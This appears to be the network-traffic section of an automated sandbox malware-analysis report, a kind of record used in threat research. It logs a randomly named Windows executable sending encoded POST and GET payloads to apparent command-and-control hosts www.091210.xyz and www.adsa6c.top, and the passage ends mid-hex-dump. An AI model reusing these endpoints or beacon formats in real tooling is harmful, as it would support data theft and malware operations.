3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50028	172.67.154.67	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:57.656569958 CET	704	OUT	POST /jwed/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.091210.xyz Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.091210.xyz Referer: http://www.091210.xyz/jwed/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4d 4e 57 78 6b 48 2f 76 74 6a 7a 62 62 71 79 78 33 30 5a 6a 72 2b 71 4e 5a 70 30 41 78 65 66 35 39 56 68 2f 48 35 49 38 79 6e 49 49 79 50 5a 4c 38 37 79 65 6d 46 46 53 44 6c 55 59 6e 6c 4e 77 6f 52 50 69 57 2b 72 75 73 71 68 44 2b 52 68 67 55 38 76 64 58 62 2f 6b 35 4e 6c 48 41 51 76 52 44 52 47 48 63 43 47 49 67 64 51 66 75 34 45 66 6c 54 74 52 62 30 4f 47 6e 48 49 68 75 76 70 6e 33 4f 76 30 63 42 2b 49 32 39 79 57 4d 37 63 69 62 59 44 53 61 49 42 48 37 6d 68 62 4e 57 70 47 67 4d 6c 52 44 48 43 39 43 50 2f 51 44 53 32 43 64 4a 48 32 69 54 49 51 48 30 7a 48 2f 71 48 62 4c 41 3d 3d Data Ascii: ZT=MNWxkH/vtjzbbqyx30Zjr+qNZp0Axef59Vh/H5I8ynIIyPZL87yemFFSDlUYnlNwoRPiW+rusqhD+RhgU8vdXb/k5NlHAQvRDRGHcCGIgdQfu4EflTtRb0OGnHIhuvpn3Ov0cB+I29yWM7cibYDSaIBH7mhbNWpGgMlRDHC9CP/QDS2CdJH2iTIQH0zH/qHbLA==
Oct 30, 2024 08:11:58.332462072 CET	1027	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 07:11:58 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b5ZvPtRhUlbgd6ONKMjWbXaoAqljdmaPMTRB2s%2Fbi6WcDYYUN3nlC4cIdH4rcemOlzry82ceMTb6WE5krFVDHX6rp3XZhsByGm5EY7rJjdi59eMOQ8%2BSwMXmFDkScXu9uA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da998248a306b05-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=958&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=704&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 64 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 4e c3 30 10 44 ef fe 8a a5 77 b2 4e d5 03 48 ab 95 a0 49 45 a5 50 22 70 0f 3d 1a bc 95 2b b5 71 b0 5d 42 f9 7a 94 54 48 5c 67 de 8c 66 e8 a6 7a 59 9a 5d 5b c3 93 79 6e a0 dd 3e 36 eb 25 cc 6e 11 d7 b5 59 21 56 a6 ba 3a f3 42 23 d6 9b 19 2b f2 f9 74 64 f2 62 1d 2b ca 87 7c 14 5e e8 05 6c 42 86 55 38 77 8e f0 2a 2a c2 09 a2 f7 e0 2e 63 ae e4 7f 8c 2f 59 51 cf c6 0b 44 f9 3c 4b ca e2 60 fb da c0 60 13 74 21 c3 7e e4 20 74 90 fd 21 41 92 f8 25 b1 20 ec c7 a6 c8 8a ac 73 51 52 e2 87 de 7e 78 81 b7 09 00 9b 61 18 86 42 df 97 f3 52 17 df 97 1f 68 43 cc 70 a7 09 ff 02 8a 70 5a 44 38 3d f9 05 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 04 f8 69 a3 04 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: d6LN0DwNHIEP"p=+q]BzTH\gfzY][yn>6%nY!V:B#+tdb+\|^lBU8w**.c/YQD<K``t!~ t!A% sQR~xaBRhCppZD8=bi0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50029	172.67.154.67	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:00.197139025 CET	724	OUT	POST /jwed/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.091210.xyz Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.091210.xyz Referer: http://www.091210.xyz/jwed/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4d 4e 57 78 6b 48 2f 76 74 6a 7a 62 61 4c 43 78 32 58 78 6a 6a 2b 71 4f 63 70 30 41 37 2b 65 2b 39 56 39 2f 48 37 6b 53 79 56 73 49 79 74 42 4c 36 4b 79 65 6c 46 46 53 49 46 55 58 70 46 4e 42 6f 52 53 66 57 2b 58 75 73 71 6c 44 2b 55 64 67 55 50 58 65 58 4c 2f 71 69 64 6c 5a 4e 77 76 52 44 52 47 48 63 44 6a 56 67 64 49 66 75 49 30 66 6b 33 35 65 56 55 4f 48 75 6e 49 68 71 76 70 37 33 4f 76 47 63 41 6a 74 32 2b 4b 57 4d 36 4d 69 62 4b 37 52 54 49 42 46 6b 57 67 4d 4e 33 78 4e 6c 4f 55 6e 4f 52 75 71 4e 75 71 39 50 30 37 59 4d 34 6d 68 77 54 73 6a 61 7a 36 7a 79 70 36 53 51 47 6b 41 50 73 61 43 4b 6b 72 56 42 68 4f 32 75 35 39 67 62 68 38 3d Data Ascii: ZT=MNWxkH/vtjzbaLCx2Xxjj+qOcp0A7+e+9V9/H7kSyVsIytBL6KyelFFSIFUXpFNBoRSfW+XusqlD+UdgUPXeXL/qidlZNwvRDRGHcDjVgdIfuI0fk35eVUOHunIhqvp73OvGcAjt2+KWM6MibK7RTIBFkWgMN3xNlOUnORuqNuq9P07YM4mhwTsjaz6zyp6SQGkAPsaCKkrVBhO2u59gbh8=
Oct 30, 2024 08:12:00.880208015 CET	1025	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 07:12:00 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a5aMnOrTDMLSCD9d3MNs5NP5MCIfiHRg%2FMrugTcVU3tK8Dxn28uRBzqqmnq4v9gRwb8qMCygHf%2BrOriebiqqnMTUbsJ9CD4YYQLhaxYhdUaSBSqIizJPZWpRg%2BmT7JTsgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da9983488fc4689-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1075&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=724&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 64 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 4e c3 30 10 44 ef fe 8a a5 77 b2 4e d5 03 48 ab 95 a0 49 45 a5 50 22 70 0f 3d 1a bc 95 2b b5 71 b0 5d 42 f9 7a 94 54 48 5c 67 de 8c 66 e8 a6 7a 59 9a 5d 5b c3 93 79 6e a0 dd 3e 36 eb 25 cc 6e 11 d7 b5 59 21 56 a6 ba 3a f3 42 23 d6 9b 19 2b f2 f9 74 64 f2 62 1d 2b ca 87 7c 14 5e e8 05 6c 42 86 55 38 77 8e f0 2a 2a c2 09 a2 f7 e0 2e 63 ae e4 7f 8c 2f 59 51 cf c6 0b 44 f9 3c 4b ca e2 60 fb da c0 60 13 74 21 c3 7e e4 20 74 90 fd 21 41 92 f8 25 b1 20 ec c7 a6 c8 8a ac 73 51 52 e2 87 de 7e 78 81 b7 09 00 9b 61 18 86 42 df 97 f3 52 17 df 97 1f 68 43 cc 70 a7 09 ff 02 8a 70 5a 44 38 3d f9 05 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 04 f8 69 a3 04 01 00 00 0d 0a Data Ascii: d6LN0DwNHIEP"p=+q]BzTH\gfzY][yn>6%nY!V:B#+tdb+\|^lBU8w**.c/YQD<K``t!~ t!A% sQR~xaBRhCppZD8=bi
Oct 30, 2024 08:12:00.880224943 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50030	172.67.154.67	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:02.763341904 CET	10806	OUT	POST /jwed/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.091210.xyz Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.091210.xyz Referer: http://www.091210.xyz/jwed/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4d 4e 57 78 6b 48 2f 76 74 6a 7a 62 61 4c 43 78 32 58 78 6a 6a 2b 71 4f 63 70 30 41 37 2b 65 2b 39 56 39 2f 48 37 6b 53 79 56 6b 49 31 63 68 4c 38 5a 4b 65 6b 46 46 53 42 6c 55 55 70 46 4e 63 6f 52 4c 59 57 2b 61 5a 73 70 4e 44 2b 78 52 67 63 65 58 65 59 4c 2f 71 39 4e 6c 59 41 51 76 2b 44 52 57 44 63 43 54 56 67 64 49 66 75 4b 63 66 6b 6a 74 65 58 55 4f 47 6e 48 49 6c 75 76 70 66 33 4f 33 57 63 44 50 58 32 4f 71 57 50 62 38 69 61 2f 76 52 4f 34 42 62 6c 57 67 45 4e 33 4d 56 6c 4f 59 52 4f 56 75 4d 4e 75 65 39 66 78 65 45 59 35 36 6d 75 7a 6b 66 49 30 65 49 31 37 6d 42 52 6c 67 31 47 4f 71 63 61 6c 44 4c 61 68 2b 37 38 61 38 6e 46 6e 65 75 6e 78 65 77 57 78 70 62 42 79 52 70 31 55 6e 57 57 79 4c 57 42 66 6a 36 64 75 48 4e 54 4c 4a 56 6b 65 67 4a 2f 32 74 52 76 57 6d 34 65 47 52 50 4d 39 4e 47 4f 4f 54 6c 41 4d 70 72 65 68 34 51 32 4c 4e 58 53 56 6d 32 62 59 6e 61 4c 49 4b 50 35 6e 32 41 2f 41 35 49 4b 65 5a 52 61 65 67 4a 5a 32 6f 77 51 7a 5a 5a 46 2f 73 42 72 45 30 73 55 6e 30 4d 6b 68 6e [TRUNCATED] Data Ascii: ZT=MNWxkH/vtjzbaLCx2Xxjj+qOcp0A7+e+9V9/H7kSyVkI1chL8ZKekFFSBlUUpFNcoRLYW+aZspND+xRgceXeYL/q9NlYAQv+DRWDcCTVgdIfuKcfkjteXUOGnHIluvpf3O3WcDPX2OqWPb8ia/vRO4BblWgEN3MVlOYROVuMNue9fxeEY56muzkfI0eI17mBRlg1GOqcalDLah+78a8nFneunxewWxpbByRp1UnWWyLWBfj6duHNTLJVkegJ/2tRvWm4eGRPM9NGOOTlAMpreh4Q2LNXSVm2bYnaLIKP5n2A/A5IKeZRaegJZ2owQzZZF/sBrE0sUn0MkhnzriC29WD/MHi+2H1K5HqzOt3k61Fv4AxbcW1Mf+5fGAhsziCw4ayd2amuzWCNXfFUHqlgc25yDUzwT4gaMVMf05lNhsZOyO14ToGIIUnRAcZX+hMJnYhOoqzbzrTsPzk5L2PqLkdDLDd0QGbil5e+edMWEtmmWL1VsaUy49B94ihOV2vX2X87Eqp7488HSIq7vO1kCGT5ec5Qqu1IzINIiplLbQyEYEtKtY4O2Lg2TviMXa/3hmj3hkF3Cc3nIElblb+XFzN8oej8clt+9EJbJDaS9ym+0P324ud+FPbpQ7tsyVgVFQjr9d3vIF2zIdQUdEE56dG5WSRbbBLtYLmMOj1m9f5pljsLWm8Dc1JtrJTBLsOW/rubfhzzT0F4fmmY4cCmp9l1gR21tAn/UQMlQwUNi/CRHmiRmiewT3vfprj2xQ/tqOdkE6XksSahXnBJ7jJ2hXgloJiYfG775PxffYaYaFwoz1KaWe8Xog2czwxaqPERp43AX3WUBlIVNbSdY8f4CgTThnv2IRFwDfWWXk0jpXAWvEuNPm2wRwFve1xcI2Tvkrt7sdE62xekAZUOUctzGIfHlhy+ikpaA+c5e7k1QRY40XtOo9w52mTDPVBzHE3ucIoY91EXHpKmM6o9L8Y5ryrauTvmxM57/QsnzZtZ/ADtTYdd8 [TRUNCATED]
Oct 30, 2024 08:12:03.452763081 CET	1033	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 07:12:03 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BIep7RoKluhaXx9zrtMoL1J8SZJi0wHdCaYMe2LCN5%2FfySoQnREHGHdGqG9AZMv9Z2IBmhm3zDIRqIVeAVIF6%2Fqh3pzvb8WX4viL6YIO0acjihyFtOdJ08Iyr8elpocQdQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da9984479884784-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1932&sent=4&recv=10&lost=0&retrans=0&sent_bytes=0&recv_bytes=10806&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 64 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 4e c3 30 10 44 ef fe 8a a5 77 b2 4e d5 03 48 ab 95 a0 49 45 a5 50 22 70 0f 3d 1a bc 95 2b b5 71 b0 5d 42 f9 7a 94 54 48 5c 67 de 8c 66 e8 a6 7a 59 9a 5d 5b c3 93 79 6e a0 dd 3e 36 eb 25 cc 6e 11 d7 b5 59 21 56 a6 ba 3a f3 42 23 d6 9b 19 2b f2 f9 74 64 f2 62 1d 2b ca 87 7c 14 5e e8 05 6c 42 86 55 38 77 8e f0 2a 2a c2 09 a2 f7 e0 2e 63 ae e4 7f 8c 2f 59 51 cf c6 0b 44 f9 3c 4b ca e2 60 fb da c0 60 13 74 21 c3 7e e4 20 74 90 fd 21 41 92 f8 25 b1 20 ec c7 a6 c8 8a ac 73 51 52 e2 87 de 7e 78 81 b7 09 00 9b 61 18 86 42 df 97 f3 52 17 df 97 1f 68 43 cc 70 a7 09 ff 02 8a 70 5a 44 38 3d f9 05 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 04 f8 69 a3 04 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: d6LN0DwNHIEP"p=+q]BzTH\gfzY][yn>6%nY!V:B#+tdb+\|^lBU8w**.c/YQD<K``t!~ t!A% sQR~xaBRhCppZD8=bi0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50031	172.67.154.67	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:05.394185066 CET	443	OUT	GET /jwed/?ZT=BP+RnxL4kRmCbJis2H94uci3abF0xOX/uWRdW7IS0nQn3eBqrLGhokpRAgB0njlljCrnZN3jlOJi4UAaeIXlep/T+OgRPR3ifAipJWCHkORcjZ0KtUFfU2c=&mTkD=Gj2Ti2T0g4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.091210.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:12:06.046822071 CET	1029	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 07:12:05 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xinIiWNRIcHwM5X8ZP5mjpq%2BfM1UOr8lkUaDr6egOXumJ72RaajFtJcZbT5MNV7e7IpoWi1SixLr9K5fdes9AIZucXajbfrI1Cg%2B5kmWwfisbIVDwpxydofQgskZL9XrYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da99854ddcd3ab5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1112&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=443&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 30 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 30 39 31 32 31 30 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 104<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.091210.xyz Port 80</address></body></html>
Oct 30, 2024 08:12:06.046880960 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50032	20.2.249.7	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:14.255358934 CET	704	OUT	POST /wr26/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.adsa6c.top Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.adsa6c.top Referer: http://www.adsa6c.top/wr26/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 78 57 50 67 51 58 50 72 64 6f 52 32 2f 6a 48 41 2f 47 47 48 52 45 30 33 34 53 4e 47 67 30 4e 46 39 69 41 73 44 77 6c 34 74 45 6f 78 46 67 6f 34 31 46 33 56 73 55 42 43 6c 4e 7a 68 4f 43 77 4f 68 34 4f 73 50 64 39 2b 64 77 51 44 41 63 69 6d 41 77 4a 49 2f 38 36 57 52 57 41 38 41 52 36 45 45 42 53 4d 44 4e 4a 2f 55 46 53 49 6d 5a 59 5a 62 71 61 34 7a 6c 68 74 44 30 42 2b 69 62 63 4b 39 70 6a 46 41 78 63 58 6d 71 38 58 55 77 31 77 33 46 36 51 4f 45 69 6f 33 74 4b 47 36 6a 67 36 6f 5a 31 43 4d 41 67 71 39 72 59 69 77 47 52 35 78 5a 53 57 2b 57 53 50 4f 41 38 4f 79 31 46 4e 36 67 3d 3d Data Ascii: ZT=xWPgQXPrdoR2/jHA/GGHRE034SNGg0NF9iAsDwl4tEoxFgo41F3VsUBClNzhOCwOh4OsPd9+dwQDAcimAwJI/86WRWA8AR6EEBSMDNJ/UFSImZYZbqa4zlhtD0B+ibcK9pjFAxcXmq8XUw1w3F6QOEio3tKG6jg6oZ1CMAgq9rYiwGR5xZSW+WSPOA8Oy1FN6g==
Oct 30, 2024 08:12:15.186750889 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:12:15 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50033	20.2.249.7	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:16.808760881 CET	724	OUT	POST /wr26/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.adsa6c.top Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.adsa6c.top Referer: http://www.adsa6c.top/wr26/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 78 57 50 67 51 58 50 72 64 6f 52 32 2b 44 33 41 7a 48 47 48 47 55 30 34 33 79 4e 47 70 55 4e 5a 39 69 4d 73 44 31 63 6c 73 33 41 78 46 42 59 34 6e 51 44 56 35 55 42 43 39 39 7a 67 41 69 77 52 68 34 44 54 50 59 64 2b 64 77 45 44 41 64 53 6d 41 48 31 4c 77 4d 36 55 5a 32 41 36 45 52 36 45 45 42 53 4d 44 4e 4e 52 55 46 4b 49 36 36 51 5a 62 4c 61 2f 74 56 68 75 54 45 42 2b 31 4c 63 4f 39 70 6a 64 41 77 41 39 6d 76 34 58 55 77 6c 77 33 55 36 66 58 30 69 75 39 4e 4c 78 2b 79 38 30 6d 72 4d 71 48 52 63 2f 6a 35 42 43 31 41 63 6a 67 6f 7a 42 73 57 32 38 54 48 31 36 2f 32 34 45 68 69 4f 48 2f 4d 66 37 4c 78 6f 31 55 4f 4b 70 33 64 6b 2b 39 77 34 3d Data Ascii: ZT=xWPgQXPrdoR2+D3AzHGHGU043yNGpUNZ9iMsD1cls3AxFBY4nQDV5UBC99zgAiwRh4DTPYd+dwEDAdSmAH1LwM6UZ2A6ER6EEBSMDNNRUFKI66QZbLa/tVhuTEB+1LcO9pjdAwA9mv4XUwlw3U6fX0iu9NLx+y80mrMqHRc/j5BC1AcjgozBsW28TH16/24EhiOH/Mf7Lxo1UOKp3dk+9w4=
Oct 30, 2024 08:12:17.752625942 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:12:17 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50034	20.2.249.7	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:19.359023094 CET	10806	OUT	POST /wr26/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.adsa6c.top Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.adsa6c.top Referer: http://www.adsa6c.top/wr26/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 78 57 50 67 51 58 50 72 64 6f 52 32 2b 44 33 41 7a 48 47 48 47 55 30 34 33 79 4e 47 70 55 4e 5a 39 69 4d 73 44 31 63 6c 73 78 59 78 47 33 73 34 31 6a 62 56 72 6b 42 43 6a 4e 7a 39 41 69 78 4e 68 38 6e 66 50 59 5a 45 64 7a 38 44 43 37 75 6d 43 32 31 4c 6e 38 36 55 56 57 41 2f 41 52 36 4e 45 42 69 41 44 4e 64 52 55 46 4b 49 36 36 38 5a 53 36 61 2f 76 56 68 74 44 30 42 49 69 62 63 32 39 74 50 4e 41 77 45 48 6d 37 4d 58 55 52 56 77 36 47 53 66 49 45 69 73 2b 4e 4c 70 2b 79 78 32 6d 72 51 49 48 52 34 56 6a 37 64 43 34 55 45 36 31 4c 62 73 77 32 54 6c 51 42 39 47 6b 56 63 48 6d 79 4f 6d 7a 39 44 43 64 41 67 4e 57 63 33 78 6c 5a 59 66 6b 46 6c 6e 66 30 69 4b 6c 4b 42 75 39 32 6a 46 31 58 38 5a 4d 39 48 67 55 4d 6c 56 58 32 6d 67 63 4e 32 7a 4a 44 32 39 42 41 2b 7a 75 71 78 2b 48 